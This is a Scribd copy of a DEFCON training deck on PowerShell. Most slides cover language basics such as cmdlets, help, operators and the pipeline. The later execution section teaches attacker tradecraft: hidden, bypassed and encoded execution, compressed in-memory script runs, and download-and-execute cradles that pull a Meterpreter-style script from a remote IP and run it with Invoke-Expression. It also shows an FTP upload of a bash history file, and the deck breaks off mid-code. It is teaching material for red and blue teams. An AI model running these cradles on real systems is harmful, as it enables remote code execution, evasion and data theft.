100% found this document useful (3 votes)
375 views287 pages

PowerShell DEFCON

PowerShell is a scripting language and command-line shell that can be used to automate administrative tasks and configure systems on Windows. The document discusses why PowerShell is useful for both attackers and defenders due to its wide access to Windows APIs and ability to track usage. It also covers some common PowerShell concepts like cmdlets, which are commands that follow a verb-noun format, and handling compatibility issues across different Windows versions that may have different available PowerShell features.

Uploaded by

nameless
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (3 votes)
375 views287 pages

PowerShell DEFCON

PowerShell is a scripting language and command-line shell that can be used to automate administrative tasks and configure systems on Windows. The document discusses why PowerShell is useful for both attackers and defenders due to its wide access to Windows APIs and ability to track usage. It also covers some common PowerShell concepts like cmdlets, which are commands that follow a verb-noun format, and handling compatibility issues across different Windows versions that may have different available PowerShell features.

Uploaded by

nameless
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 287

Fundamentals of Leveraging

PowerShell
By
Carlos Perez

Fundamentals of Leveraging PowerShell - DEFCON


Instructor
• Carlos Perez (Twitter @carlos_perez)
• Day job is Director of Reverse Engineering at a security
vendor.
• Microsoft MVP on Cloud and Server Management
• Metasploit contributor
• Co-Host in the Paul’s Security Weekly Podcast

Fundamentals of Leveraging PowerShell - DEFCON


2
Why PowerShell?

Fundamentals of Leveraging PowerShell - DEFCON


3
Why PowerShell?
• Red:
– Installed by default on Windows 7/2008 R2 and above.
– Many defenders have not kept up to date on how to configure
and control it.
– Rarely upgraded to the latest versions do to legacy infrastructure
or lack of skill/knowledge on how to do it.
– Provides access to all the APIs available on a Windows system.

Fundamentals of Leveraging PowerShell - DEFCON


4
Why PowerShell?
• Blue:
• Installed by default on Windows 7/2008 R2 and above.

• Provides access to all the APIs available on a


Windows system.
• Better controls and logging that other scripting engines.
• Its use and abuse can be tracked across the entire
enterprise with centralized logging.

Fundamentals of Leveraging PowerShell - DEFCON


5
Why PowerShell?
Type .NET Other COM ADSI WMI Win32 API System Executables

PowerShell Yes Yes Yes Yes Yes Yes

VBScript No Yes Yes Yes No Yes


JScript No Yes Yes Yes No Yes
WSH No Yes Yes Yes No Yes
HTA No Yes Yes Yes No Yes
CMD/BAT No No No No No Yes
Why PowerShell?
Type Event Log Transcript Enhanced AppLocker CodeSign API AMSI Command
Logging Enforcement Constrained Inspected Filtering

PowerShell Yes Yes** Yes* Yes No Yes ** Yes Yes

VBScript No No No Yes Yes No Yes No


JScript No No No Yes Yes No Yes No
WSH No No No Yes Yes No Yes No
HTA No No No No No No No No
CMD/BAT No No No Yes No No No No

* PSv3 and above


** PSv5 and above
What is PowerShell?

Fundamentals of Leveraging PowerShell - DEFCON


8
What is PowerShell?
• PowerShell is an automation and configuration
tool/framework that works well with your existing tools and
is optimized for dealing with structured data (e.g. JSON, CSV,
XML, etc.), REST APIs, and object models.
• There are 2 main versions of PowerShell:
– Windows PowerShell: Ships with Windows and it is based on a
full .NET framework CLR.
– PowerShell Core: Open Source version that is multiplatform and
it is based on .NET Core CLR
What is PowerShell?
• As of version 6.x PowerShell is a cross-platform (Windows,
Linux, and OS X) It includes a command-line shell, an
associated scripting language and a framework for
processing cmdlets, it is called PowerShell Core.
• It is licensed under MIT License for versions after 6.0
• Source code and build instructions at
https://github.com/PowerShell/PowerShell

Fundamentals of Leveraging PowerShell - DEFCON


10
What is PowerShell?
• On Windows:
– PowerShell is not powershell.exe!
– PowerShell is not powershell_ise.exe!
– Those are host program that run the engine.
– System.Management.Automation.dll and all its copies in the
system are engine of Windows PowerShell.
– There are multiple copies of it in your systems :)

Fundamentals of Leveraging PowerShell - DEFCON


11
Problems with PowerShell
• Fragmentation
– After Windows 7 and Windows 2008 R2 PowerShell comes as
part of the OS and not updated by Windows Update.
– PowerShell comes as part of the Windows Management
Framework and several old servers tools are incompatible with
new versions on Windows.
– The latest versions of WMF do not appear in the WSUS Catalog
making deployment of newer versions a manual and complex
process.
– Some cmdlets and modules are only available on newer versions
of Windows even when they all run the latest version of WMF

Fundamentals of Leveraging PowerShell - DEFCON


12
Handling Caveats
2.0 3.0 4.0 5.x Core 5.x 6.x
Windows Not Not
Default Supported Supported Supported
7/2008 R2 Supported Supported

Windows Not Not Not


Default Supported
8/2012 Supported Supported Supported
Windows
Not
8.1/2012R Default Supported Supported
Supported
2
Windows Not
Defuault Supported
10/2016 Supported

Windows
Default Supported
Nano

Windows Supported
Default
IoT

Linux/OS X Fundamentals of Leveraging PowerShell - DEFCON Supported


13
Handling Caveats
• Use PowerShell 2.0 as the lowest denominator since it is the
first version of PowerShell included by default on Windows.
• Use .NET Framework 3.5 as the the lowest denominator
when selecting .NET API Calls.

Fundamentals of Leveraging PowerShell - DEFCON


14
Cmdlet

Fundamentals of Leveraging PowerShell - DEFCON


15
Cmdlet
• PowerShell specific commands are called cmdlets.
• They are in the form of a <verb>-<noun>
• Get-Verb will display the standard PowerShell verbs.
• The verbs are grouped for the tasks of:
–Common –Other
–Communication –Security
–Data
–Diagnostic
–Lifecycle
Fundamentals of Leveraging PowerShell - DEFCON
16
Cmdlet
• Cmdlets are written in .NET Framework Language, most are
in C#.
• Functions are like cmdlets but they are written in
PowerShell.
• Applications are any type of executable that can be ran
from the shell.

Fundamentals of Leveraging PowerShell - DEFCON


17
Cmdlet
• The Get-Command cmdlet will allow for the searching of
Cmdlet, Alias and Function using wild cards.
• A recommended method for using Get-Command or its
alias gcm is to use the -noun and/or -verb option so as to
filter none cmdlets or use -CommandType cmdlet

Fundamentals of Leveraging PowerShell - DEFCON


18
Wildcard Characters
Many of the cmdlet option accept wildcards characters. In PowerShell the Wildcards
Characters are:

Wildcard Character Description Example

Matches zero or more characters, starting at the


* a*
specified position
? Matches any character at the specified position ?n

[ <start>-<end>] Matches a range of characters name[1-20]

[] Matches the specified characters [ab]jhones

Fundamentals of Leveraging PowerShell - DEFCON


19
Cmdlet
• PowerShell supports Aliases for cmdlets. This are like
shortcuts that can be used.
– To get a full list of existing aliases in the current shell the Get-
Alias cmdlet can be used.
– They should be avoided in Scripts or Functions since they may
change or be overwritten by accident.

Fundamentals of Leveraging PowerShell - DEFCON


20
Script Block
• In PowerShell it interprets a new line or ; as the end of a
command.
• Script-block is a special structure that contains a command
or a ordered collection of commands
• a Script-block is declared by using { <command>;
command}
• It can be passed to cmdlets or structures that accept them
(More on this later)

Fundamentals of Leveraging PowerShell - DEFCON


21
Modules and PSSnapin

Fundamentals of Leveraging PowerShell - DEFCON


22
Extending the Shell
• PowerShell provides ways to expand the number of cmdlets,
functions and providers available to a user. These are:
– PSSnapins - They are written in a .NET Language and are
packaged as DLLs that get registered with the systems. MS
recommends developers not to use this method anymore.
– Modules - They where introduced in v2 of PowerShell, are mainly
self contained and can be copied to system to system if
dependencies are included. On v3 they added the capacity for
Autoloading.

Fundamentals of Leveraging PowerShell - DEFCON


23
Extending the Shell
• On v2 modules need to be loaded by hand to be able to see
the commands it contains unless the loading of the modules
is placed in the users PowerShell profile (more on them
later)
• On v3 and above the commands available in modules that
are located in the $env:PSModulePath variable can be listed
and seen without loading the module explicitly and when
the command is run it autoloads the module.
• Modules can be DLL with classes that inherit from PSCmdlet
class and/or PowerShell PSM1 file with functions with
cmdlet attribute
Fundamentals of Leveraging PowerShell - DEFCON
24
Extending the Shell
• Discovering new commands from PSSnapins:
– For all available PSSnapins Get-PSSnapin –Registered
– For currently loaded PSSnapins Get-PSSnapin
– For listing commands from a loaded PSSnapin Get-Command -
PSSnapin <PSSnapin Name>
• Discovering new commands from Modules:
– For listing all available modules Get-Module –ListAvailable
– For Currently loaded modules Get-Module
– For listing commands from a module Get-Command -Module
<module Name> (On v2 only loaded ones)

Fundamentals of Leveraging PowerShell - DEFCON


25
Extending the Shell
• Loading Extensions:
– PowerShell will load modules located on any of the folders listed
in the $env:PSModulePath variable folder.
– If the module is not on any of those paths then the full path
would be specified with the module name to load it.
– Add-PsSnapin <Name> will load a PSSnapin.
• Removing Extensions:
– Remove-Module <name> to unload a module.
– Remove-PSSnapin <name> to unload a PSSnapin

Fundamentals of Leveraging PowerShell - DEFCON


26
Extending the Shell
• Managing autoloading of modules is done by setting the
$PSModuleAutoloadingPreference variable:
– All - Modules are imported automatically on first-use.
– ModuleQualified - Modules are imported automatically only
when a user uses the module-qualified name of a command in
the module <Module Name>\<Cmdlet Name>
– None - Automatic importing of modules is disabled in the session.
To import a module, use the Import-Module cmdlet.

Fundamentals of Leveraging PowerShell - DEFCON


27
Extending the Shell
– Name conflicts may happen when importing new commands
from extensions. PowerShell will Hide or Replace commands.
– To minimize risk of this happening import new modules with
either the -NoClobber parameter or the -Prefix <prefix>
parameter
– One can also select what import by passing the names to the
parameters -Alias <String[]>, -Cmdlet <String[]>, -Function
<String[]>, and -Variable <String[]>

Fundamentals of Leveraging PowerShell - DEFCON


28
CmdletBinding
• We can make our Script and Functions have features of
cmdlets compiled in C# by using the [cmdletbinding()]
attribute set before the parameter Param() definition in
the Script or Function.
• The help topic is
about_Functions_CmdletBinding_Attribute

[CmdletBinding(ConfirmImpact=<String>,
DefaultParameterSetName=<String>,
HelpURI=<URI>,
SupportsPaging=<Boolean>,
SupportsShouldProcess=<Boolean>,
PositionalBinding=<Boolean>)]
Fundamentals of Leveraging PowerShell - DEFCON
29
Functions
• All that we have covered for scripts applies to functions.
• To turn the script in to a function we just need to place it in
the process script block of a function
function <name> {
[CmdletBinding()]
Param ($Parameter1)
Begin{}
Process{}
End{}
}
• In the Begin block we put code we need to be present
before executing any action.

Fundamentals of Leveraging PowerShell - DEFCON


30
Functions
• The Process block will execute for each object passed thru
the pipeline
• The End block executes once all pipeline object are
processed.
• This includes the Parameter Definitions and help based text.
• To load functions in to our current session we just define
them in one of the profile files or we do what is called dot
sourcing a file where the definition of a file are loaded in to
the current session by placing a dot before the full path to
the file
. .\Get-Driver.ps1

Fundamentals of Leveraging PowerShell - DEFCON


31
Using Help

Fundamentals of Leveraging PowerShell - DEFCON


32
Help
• To access the help system we use the Get-Help cmdlet
also aliased in the shell as help and also aliased as man
• The help command can be used to get help on cmdlets and
topics
• If the author included the proper comments in his/her code
help can also be used against user written functions.

Fundamentals of Leveraging PowerShell - DEFCON


33
Updating Help
• PowerShell also provides ways to get the latest Help
information.
– The -online option will open the default web browser showing
the help page for the selected cmdlet or topic.
– On PowerShell v3 and above the Update-Help cmdlet was
added and it will update the help files for PowerShell. It must be
ran as Administrator.

Fundamentals of Leveraging PowerShell - DEFCON


34
Updating Help
• When you install PowerShell v3/v4/v5 for the first time it
will come with no help files and these must be downloaded
from the internet the first time help is ran.
• The language of the help files that will be downloaded will
depend on the Culture setting for your shell.
– To retrieve the culture setting the Get-UICulture cmdlet is
used.
• Update-Help will use the proxy configured in Internet
Explorer to connect to the internet if one is needed.

Fundamentals of Leveraging PowerShell - DEFCON


35
Updating Help
• In those cases that the machines are completely isolated
from the internet the Update-Help cmdlet allows to load
them from an alternate path.
– To save the help files to an existing path
Save-Help -DestinationPath .\PSHelp -UICulture "en-US"

– To import the help files as Administrator


Update-Help -UICulture "en-US" -SourcePath .\PSHelp -Force

• Update-Help will only update the help once very 24 hours


unless the -Force parameter is used.

Fundamentals of Leveraging PowerShell - DEFCON


36
Using Help
• Show all PowerShell conceptual topics areas. This topics
cover several topics and general areas related to using
PowerShell that are not related to an specific cmdlet
help about_*
• help <wildcard expression> will look for the word or
expression in the titles of the help files, if none is found it
will look in the content of the help for it.
• To search for all cmdlets with the word service
help -Category Cmdlet -Name *service*

Fundamentals of Leveraging PowerShell - DEFCON


37
Using Help
• One can select what parts of a help file we want to see.
– When used against a cmdlet with no options it will show Name,
Synopsis, Syntax, Description, Related Links and Remarks.
– When the -Detailed option is given it will show Parameter
Information and Examples.
– When the -Full option is given it will show a more detailed list
of info for Parameters.
– When the -Examples option is given only examples are shown.

Fundamentals of Leveraging PowerShell - DEFCON


38
Using Help - Reading Syntax
• A cmdlet can have more than one way for it to be invoked
and this can be seen in the syntax

• They will typically have one or more Parameter Sets that will
differ from syntax to syntax.

Fundamentals of Leveraging PowerShell - DEFCON


39
Using Help - Reading Syntax
• Required for required options or values they will not be
enclosed in any bracket.
• Options or values enclosed in [ ] are optional
• Values are represent with the type they take between < >
• Those values that can be lists are represented as <type[
]>
• Those that have a predefined list of options it can take are
represented as < option1 | option2 | option3>

Fundamentals of Leveraging PowerShell - DEFCON


40
Using Help - Reading Syntax
• When the help cmdlet is used with the -full option is used we
get additional information on the parameters:
– required? - specifies if the option is required or not.
– position? - specified if the position is a named one or an order one.
For ordered one it will give the number of the position for the value it
will map to it.
– Default value - Default value the option has. (Some times on PSv2
it does not display properly)
– Accept pipeline input? - specified if the option accepts input
from the pipeline and if the input is by value type or by property name.
– Accept Wildcard Characters? - specifies if wildcard characters
can be used.

Fundamentals of Leveraging PowerShell - DEFCON


41
Using Help - Reading Syntax
• As parameters are defined in script and advanced function
the help information is generated based on the settings by
PowerShell.
• Help information on the advanced modules can be comment
based or in a XML based file following the MAML (Microsoft
Assistance Markup Language) Specification.
• MAML is used for binary modules, when providing help
information in multiple languages and when offering
updatable help.

Fundamentals of Leveraging PowerShell - DEFCON


42
Using Help - Comment Help

Fundamentals of Leveraging PowerShell - DEFCON


43
Using Help - Comment Help

Fundamentals of Leveraging PowerShell - DEFCON


44
Using Help - XML Help

Fundamentals of Leveraging PowerShell - DEFCON


45
Object Basics

Fundamentals of Leveraging PowerShell - DEFCON


46
PowerShell Objects
• Every action taken inside of PowerShell is done in the
context of objects.
• Data is moved from one cmdlet to another as a single object
or collection of objects.
• Objects are composed of:
– Method - Action that can be taken on the object.
– Property - Information about the state of an object.
– Event – An action we can monitor for.
• Even the data returned by a regular command is returned as
an object.
Fundamentals of Leveraging PowerShell - DEFCON
47
PowerShell Objects
• To get a list of the methods and properties an object has the
Get-Member cmdlet is used.
• One can use the Pipe to pass an object or a collection of
objects to Get-Member
• If a collection is given it will return the information for each
unique type in the collection.

Fundamentals of Leveraging PowerShell - DEFCON


48
PowerShell Objects
• Instance Methods and Properties can be accessed directly
from each instance.
• Method <object>.<method>(Param List)
• Property <object>.<property>
• Classes also provide their own set of Methods and
properties. To access these:
• Method [classname]::<method>(Param List)
• Property [classname]::<property>

Fundamentals of Leveraging PowerShell - DEFCON


49
PowerShell Objects
• For the manipulation of objects we will cover first the
Operators in PowerShell since they are used against Objects
and the Properties of objects.
• PowerShell operators differ from the operators of other
scripting and programing languages, the design reasons
where to mimic those found in Shell Languages found on
*nix systems.
• When comparisons are done PowerShell has the special
variables $True and $False to represent Boolean values

Fundamentals of Leveraging PowerShell - DEFCON


50
Boolean Operators
Operator Description

-and Return True if all sub-expressions are True

-or Return True if any sub-expression is True

-not Return the opposite

-xor Return True if one sub-expression is True, but not if both are True

Fundamentals of Leveraging PowerShell - DEFCON


51
Boolean Operators
• Boolean Operators are used to combine several comparison
subexpressions.
• Subexpressions can be parenthetical or cmdlets that return
a boolean.

PS C:\> ((1 -eq 1) -or (15 -gt 20)) -and ("running" -like
"*run*")
True

Fundamentals of Leveraging PowerShell - DEFCON


52
Comparison Operators
Operator Description

-eq Equal to

-ne Not Equal to

-gt Greater than

-lt Less than

-le Less or Equal to

-ge Greater or Equal to

Fundamentals of Leveraging PowerShell - DEFCON


53
Comparison Operators
Operator Description

-contains
Collection of element contains a specific element.
-notcontains

-in -notin A specific element is present in a collection of elements.

-like -notlike Wildcard string comparison

-match Matches a regular expression

Fundamentals of Leveraging PowerShell - DEFCON


54
Comparison Operators
• In PowerShell comparisons are not case sensitive for string
comparison
PS > "hello" -eq "HELLO"
True
• To make a comparison be case sensitive one only need to
add a “c” to the comparison.
PS > "hello" -ceq "HELLO"
False
• PowerShell will try to convert the types of the element for
evaluation by analyzing them.
PS > 1 -eq "1"
True

Fundamentals of Leveraging PowerShell - DEFCON


55
Comparison Operators
• Many times -contains and -in operators are used by mistake
to search in strings, this is a common mistake. Their use is
for Arrays or Hash lists
PS > "a","b","c" -contains "b"
True

PS > "b" -in "a","b","c"


True

Fundamentals of Leveraging PowerShell - DEFCON


56
Type Operators
Operator Description

-is Return True when an input is of the specified .NET type

-isnot Return False when an input is of the specified .NET type

-as Converts the input to a specified type

Fundamentals of Leveraging PowerShell - DEFCON


57
Type Operators
• Type operators are mostly used to make sure the proper
type is used in scripts

C:\PS> (get-date) -is [datetime]


True

C:\PS> (get-date) -isnot [datetime]


False

C:\PS> "9/28/12" -as [datetime]


Friday, September 28, 2012 12:00:00 AM

Fundamentals of Leveraging PowerShell - DEFCON


58
Pipeline

Fundamentals of Leveraging PowerShell - DEFCON


59
Pipeline On Other Shells

Fundamentals of Leveraging PowerShell - DEFCON


60
The Pipeline
• The pipeline is what makes PowerShell so powerful as a
shell.
• It ties commands and cmlets together in ways a regular shell
can not.
• Mastery of the Pipeline is what makes the difference in
mastering or not mastering PowerShell

Fundamentals of Leveraging PowerShell - DEFCON


61
Pipeline ByValue

Fundamentals of Leveraging PowerShell - DEFCON


62
Pipeline ByValue
• A cmdlet's receiving Object Type must be same as the
Object Type output by the originating cmdlet.

Fundamentals of Leveraging PowerShell - DEFCON


63
Pipeline ByValue
• In advanced functions with the cmdlet binding a parameter
can be made to accept objects by value in its parameter
definition.
[Parameter(Mandatory=$true,
ValueFromPipeline=$true,
Position=0)]
[sting[]]
$Param

Fundamentals of Leveraging PowerShell - DEFCON


64
Pipeline ByPropertyName

Fundamentals of Leveraging PowerShell - DEFCON


65
Pipeline ByPropertyName
• The Object has to have a property which name matches the
Parameter name

Fundamentals of Leveraging PowerShell - DEFCON


66
Pipeline
• When an object collection is sent thru the pipeline to
another cmdlet that takes a collection each object is
referred to as $_ giving us access to the object properties,
methods and events.
Get-Service | where-object { $_.Status -eq "Running" }

Fundamentals of Leveraging PowerShell - DEFCON


67
Working with Objects

Fundamentals of Leveraging PowerShell - DEFCON


68
Filtering Objects
• For filtering objects in a collection in PowerShell the Where-
Object cmdlet is used since it allows to filter by property
value.
• On PowerShell v2 this is done with a Script Block
Get-Service | where-object { $_.Status -eq "Running" }
• On PowerShell v3 this can be done with a Script Block or by
Specifying the property and value as parameters.
Get-Service | Where-Object -Property Status -eq -Value Running

Get-Service | Where-Object Status -eq Running

Fundamentals of Leveraging PowerShell - DEFCON


69
Selecting Objects
• The Select-Object cmdlet allows for:
– Selecting specific objects or a Range of objects from an ordered
list objects that contains specific properties.
– Selecting a given number from the beginning or end of a ordered
list of objects.
– Select specific properties from objects.
– Creation of new object with properties
– Renaming object properties

Fundamentals of Leveraging PowerShell - DEFCON


70
Selecting Objects
• Selecting specific Objects from a list
PS > Get-Process | Sort-Object workingset -Descending | Select-Object -Index
0,1,2,3,4
• Selecting a range of objects from a list
PS > Get-Process | Sort-Object workingset -Descending | Select-
Object -Index (0..4)
• Select the first 5 from a list
PS > Get-Process | Sort-Object workingset -Descending |
Select-Object -first 5
• Creating/Renaming a property
PS > Get-Process | Select-Object -Property name,@{name = 'PID';
expression = {$_.id}}

Fundamentals of Leveraging PowerShell - DEFCON


71
Iterating Objects
– Iteration is the method by which several objects in a collection
are processed one by one and actions are taken against them.
– In PowerShell, there are 2 methods for iterating thru objects and
are often confused:
• ForEach-Object cmdlet and its aliases foreach and %.
• foreach(<variable> in <collection>){} statement.
– Each method will take a collection and process the objects in a
Scriptblock but each behaves differently, however and it’s use
will vary case by case.

Fundamentals of Leveraging PowerShell - DEFCON


72
Iterating Objects
• The ScriptBlocks parameters are also positional
PS C:\> 1..5 | ForEach-Object { $Sum = 0 } { $Sum += $_ } {
$Sum }

15
• To skip to the next object to be process in ForEach-Object
the keyword return is used.
• For exiting the loop inside of a ForEach-Object the break
keyword is used.
• For Next value in the loop inside of a ForEach-Object the
return keyword is used inside the comparing script block.

Fundamentals of Leveraging PowerShell - DEFCON


73
Iterating Objects
• The foreach(<variable> in <collection>){} statement
places on each iteration an element of a collection in to
memory first and then processes each. (Not good for very
large collections)
• Since the collection being worked on is loaded in to memory
it tends to be faster than the ForEach-Object cmdlet.
• To skip to the next object to be process in foreach
statement the keyword continue is used.
• For exiting the loop inside of a foreach statement the
break keyword is used.

Fundamentals of Leveraging PowerShell - DEFCON


74
Iterating Objects
• The foreach statement can be used in the shell as well as in
scripts

PS >foreach ($i in (1..10)){


>> if ($i -gt 5){
>> continue
>> }
>> $i
>> }
>>

1
2
3
4
5

Fundamentals of Leveraging PowerShell - DEFCON


75
Grouping Objects
• PowerShell allows the grouping of object based on a key property using
the Group-Object cmdlet
PS > Get-Service | Group-Object status

Count Name Group


----- ---- -----
103 Stopped {AeLookupSvc, ALG...}
55 Running {AudioSrv, BFE, BITS...}

• For each group, it return an object called


Microsoft.PowerShell.Commands.GroupInfo with properties:
– Count
– Group
– Name
– Values

Fundamentals of Leveraging PowerShell - DEFCON


76
Formatting
• Formatting is how the information from the Objects
returned from cmdlets are shown on the screen.
• When PowerShell default to showing all set properties for
an object unless a format.pmxml files in the PowerShell
object being displayed exists in the installation folder.
• If there is no formatting predefined if 4 or less properties
exist it will use a table and if it is 5 or more a list.

Fundamentals of Leveraging PowerShell - DEFCON


77
Formatting
• The formatting cmdlets are:
– Format-Custom Used for the testing and creation of custom
format files (not covered in this class).
– Format-Table formats the output of a command as a table of
properties in which each property is displayed on a separate
column.
– Format-List formats the output of a command as a list of
properties in which each property is displayed on a separate line.
– Format-Wide formats the objects in a screen wide table
showing only one property of the object.

Fundamentals of Leveraging PowerShell - DEFCON


78
Formatting
• Format-Table will try to fill the whole with of the screen.
• Great for showing a selected number of properties in a
format that uses the most of the screen.
• Properties can be selected with the -property parameter.
• If the content of the property is longer than the column with
it will be truncated by default.
• Column titles can be changed with custom expression for
the property.
@{name=”name”;Expression={<expression>}}

Fundamentals of Leveraging PowerShell - DEFCON


79
Formatting
• Format-List will only show the default properties for the
view configured.
• Format-List is a recommended cmdlet for listing all
properties and their values for discovery and
troubleshooting.

Fundamentals of Leveraging PowerShell - DEFCON


80
Formatting
• When a format cmdlet is used no object is returned, only
the formatted text so no cmdlet that expects objects should
be used at the extreme right of the command.
• The only cmdlets that can use the formatted output are:
– Out-File - Saves output shown on screen to a file.
– Out-Printer - Send output shown on screen to a printer.
– Out-Host - Sends output to the stdout of the session.

Fundamentals of Leveraging PowerShell - DEFCON


81
Execution
Executing PowerShell
• Windows PowerShell typically is not the initial vector of
compromise in attacks. It is used mainly as a Post-
Exploitation tool.
• PowerShell is executed in the following manners:
– powershell.exe passing scripts and commands as arguments.
– .NET Applications creating a PowerShell RunSpace (C#, VB.net
..etc).
– Unmanaged Process creating a PowerShell RunSpace in machine
code binary (C, C++)

Fundamentals of Leveraging PowerShell - DEFCON


83
Executing PowerShell
• The PowerShell executable has a large selection of
parameters that can be used.
Executing PowerShell
• Main parameters when used offensively
– WindowStyle – set to Hidden so no window is shown.
– Version – to specify version 2.0 on windows systems running
2012, 2012 R2 and Windows 10 (when .NET 3.5 is installed)
– NoProfile – none of the PowerShell profiles are loaded at
execution.
– Command – Command or Script Block to execute
– EncodedCommand – Null terminated Base64 encoded command
or script.
Executing PowerShell
• Each one of the options can be shortened just like Cisco IOS
command as long as the shortened version is unique.
▪ -NoP (-NoProfile)
▪ -NonI (-NonInteractive)
▪ -W Hidden (-WindowStyle Hidden)
▪ -EP Bypass, -Exec Bypass (-ExecutionPolicy)
▪ -EC <Base64>, -E <Base64> (-EncodedCommand <Base64>)
• The Windows console has 8191 character limit in the
amount of info the console can handle (KB830473) for a
command.
Encode Command
• An encoded command is one or more commands encoded as a
Null terminated Base64 encoded string
• Encoding a command or script block for use with the -
EncodedCommand parameter is easy in PowerShell
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

• When Running on Linux/OSX we can use iconv and base64


commands

cat powershellscript.txt | iconv --to-code UTF-16LE | base64 -w 0

Fundamentals of Leveraging PowerShell - DEFCON


87
Compressed Script
• We can compress the content of a script that may be to
large and then decompressing in the execution.
# Get Content of Script
$contents = Get-Content C:\Users\Carlos\Desktop\keylogger.ps1

# Compress Script
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]::Compress
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
$contents | ForEach-Object {$sw.WriteLine($_)}
$sw.Close()

# Base64 encode stream


$code = [Convert]::ToBase64String($ms.ToArray())
Fundamentals of Leveraging PowerShell - DEFCON
88
Execute Compressed Script
• We can now build a command to execute the script.
• It is recommended to not encode this command since it will
negate the advantage of the compression by double
encoding
• We execute this command with the -command option in
powershell.exe
$command = "Invoke-Expression `$(New-Object IO.StreamReader (" +
"`$(New-Object IO.Compression.DeflateStream (" +
"`$(New-Object IO.MemoryStream (,"+
"`$([Convert]::FromBase64String(`"$code`")))), " +
"[IO.Compression.CompressionMode]::Decompress)),"+
" [Text.Encoding]::ASCII)).ReadToEnd();"

Fundamentals of Leveraging PowerShell - DEFCON


89
PowerShell in .NET
• PowerShell is a .NET shell and language where
powershell.exe is only but a hosting application for the
engine.
• The engine can be used inside of any of the .NET languages
(C#, F#, VB.NET)
• Logging of actions in PowerShell are at the engine level with
the exception of constrained mode.

Fundamentals of Leveraging PowerShell - DEFCON


90
PowerShell in .NET

Fundamentals of Leveraging PowerShell - DEFCON


91
PowerShell in .NET

Fundamentals of Leveraging PowerShell - DEFCON


92
PowerShell in C++

Fundamentals of Leveraging PowerShell - DEFCON


93
PowerShell in Unmanaged Process
• Most offensive tools are moving to the use of creating a
.NET environment and loading PowerShell inside of a
process via the injection of libraries (DLLs).
• Most referenced projects are:
– PowerPick
https://github.com/PowerShellEmpire/PowerTools/tree/master/
PowerPick
– UnmanagedPowerShell
https://github.com/leechristensen/UnmanagedPowerShell
• Tools like Cobalt Strike and Metasploit Meterpreter
Extension use UnmanagedPowerShell
• Empire uses PowerPick
Fundamentals of Leveraging PowerShell - DEFCON
94
PowerShell in Unmanaged Process
• Each one of the techniques instantiate a PowerShell v2
engine in memory.
• PowerPick is single threaded
• UnmanagedPowerShell runs scripts in their own
AppDomain.
• In both techniques the use of PowerShell Jobs will
instantiate a new process of powershell.exe negating the
stealthiness.
• Only Runspace startup and end are logged in the EventLog.

Fundamentals of Leveraging PowerShell - DEFCON


95
Download and Execute
• Two main methods of downloading and executing code are:
– In Memory – Code is downloaded in to the current RunSpace and
executed without touching disk.
– To Disk – Code is downloaded to disk and then executed by
PowerShell or any other binary on the system.
• This pieces of code are also called cradles by several
practitioners. Term made popular by @obscuresec and
@mattifestation.
• The most common cradle is using WebClient and it is used as
a trigger by many hunt teams.
WebClient Cradle
Download and Execute
• Net.WebClient .NET System Class:
– Can be made to use System configured Proxy or alternate one.
– Can use configured Proxy credentials or alternate ones.
– We can provide a UserAgent
– Can download and upload Data as Byte Array in memory.
– Can download and upload files from disk
– Limited by process RAM
$webClient = New-Object System.NET.WebClient
$payload_url = "http://192.168.1.100:8000/x86_met.ps1"
$command = $webClient.DownloadString($payload_url)
Invoke-Expression $command
Download and Execute
• Changing the user agent sent in the header:
$webClient = New-Object System.NET.WebClient
$webClient.Headers.Add("user-agent",
"Windows-RSS-Platform/2.0 (MSIE 9.0; Windows NT 6.1)")

– *Need to be set before each request*

• Set the default proxy with default credentials


$proxy = [Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$webClient.Proxy = $proxy
Download and Execute

• Download a script in to memory


$command = $webClient.DownloadString($payload_url)

• Download binary data as a byte array in to memory


$assembly = $webClient.DownloadData($payload_url)

• Download binary data as a byte array (great for DLLs and PE


files)
$webClient.DownloadData($payload_url)
Download and Execute
• Download file or data, FTP (RETR ) and HTTP (GET), The
protocol is selected based on the URI.
$webClient.DownloadFile("ftp://192.168.1.152/bashhistory.txt",
"C:\Users\Carlos\bashhistory.txt")

• Upload file or data, FTP (STOR) and HTTP (POST), The


protocol is selected based on the URI.
$webClient.UploadFile("ftp://192.168.1.152/bashhistory.txt",
"C:\Users\Carlos\bashhistory.txt")
WebRequest Cradle
Download and Execute
• Net.WebRequest .NET System Class:
– Can be made to use System configured Proxy or alternate one.
– Can use configured Proxy credentials or alternate ones.
– We can provide a UserAgent
– Best for downloading script in to memory
– Limited by process RAM

$webRequest = [System.NET.WebRequest]::Create("http://192.168.1.100:8000/x86_met.ps1")
$response = $webRequest.GetResponse()
IEX ([System.IO.StreamReader]($response.GetResponseStream())).ReadToEnd()
Download and Execute
• Changing the user agent sent in the header:
$webRequest = [System.NET.WebRequest]::Create("http://192.168.1.100:8000/x86_met.ps1")
$webRequest.UserAgent = "Windows-RSS-Platform/2.0 (MSIE 9.0; Windows NT 6.1)"

• Set the default proxy with default credentials


$proxy = [Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$webRequest.Proxy = $proxy
COM Object Based Cradles
Download and Execute
• There are several COM objects that can be leveraged as
execution cradles in PowerShell
• All COM objects are configured in a similar manner with the
exception of InternetExplorer.Application since it creates a
IE process it then controls
COM Object Proxy Aware Default User Agent
WinHttp.WinHttpRequest.5.1 No Mozilla/4.0 (compatible; Win32;
WinHttp.WinHttpRequest.5)
Msxml2.XMLHTTP Yes IE 7.0 Compatible Header
Microsoft.XMLHTTP Yes IE 7.0 Compatible Header
InternetExplorer.Application Yes Uses IE
Download and Execute
• These objects are used in the same way for simple download
of content and execution
– WinHttp.WinHttpRequest.5.1
– Msxml2.XMLHTTP
– Microsoft.XMLHTTP

$comobj = New-Object -ComObject Microsoft.XMLHTTP


$comobj.open("GET", "http://192.168.1.100:8000/x86_met.ps1" false)

